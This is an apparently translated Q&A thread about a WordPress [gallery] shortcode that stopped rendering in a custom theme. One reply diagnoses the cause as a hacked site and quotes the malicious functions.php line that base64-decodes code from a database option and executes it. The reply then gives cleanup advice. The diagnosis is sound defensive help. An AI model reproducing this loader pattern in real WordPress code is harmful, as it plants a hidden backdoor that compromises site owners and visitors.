默认 Wordpress [图库] 未显示在自定义主题中

Default Wordpress [gallery] not showing up in custom theme

一切都很好,直到最近更新。 [gallery] 不再显示图像,而且它看起来也没有包含在代码中。

这是页面的循环:

<?php
    // Start the loop.
    while ( have_posts() ) : the_post();?>
        <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
            <h1 class="entry-title"><?php the_title(); ?></h1>
                <div class="entry-content">
                    <?php the_content(); ?>
                </div><!-- .entry-content -->
        </article><!-- #post-<?php the_ID(); ?> -->
<?php   
    // End the loop.
    endwhile;
?>

来自 the_content 的文本内容正在显示,但内容中的 [图库] 没有显示,也没有呈现为代码(因此问题不应该在 javascript 中)。

这里是 functions.php 文件:http://pastebin.com/vfJpphgt(是的,我已经为画廊添加了主题支持,但没有改变)

您在控制台中看到任何 javascript 错误吗?

的输出是什么
<?php echo do_shortcode('[gallery]');?>

尝试安装插件NextGEN Gallery,添加图库图片,并尝试在首页显示,

https://wordpress.org/plugins/nextgen-gallery/

您的网站被黑了。

pastebin 的最后一行正在从您的数据库加载恶意代码: add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

执行的代码会扰乱用于检索图库媒体文件的 WPQuery。这就是 [gallery] 被破坏的原因。 (其实这部分你可以走运。)

您可以在 sucuri.net 找到有关此恶意软件的条目。您应该检查服务器上的所有文件以查找可疑行。虽然最有可能的攻击途径是通过 WordPress 漏洞,但您应该更改 WordPress 和服务器上的所有密码。

删除恶意软件后,您可以使用 Wordfence 等工具清理 WordPress(我与该插件或其作者没有任何关系)。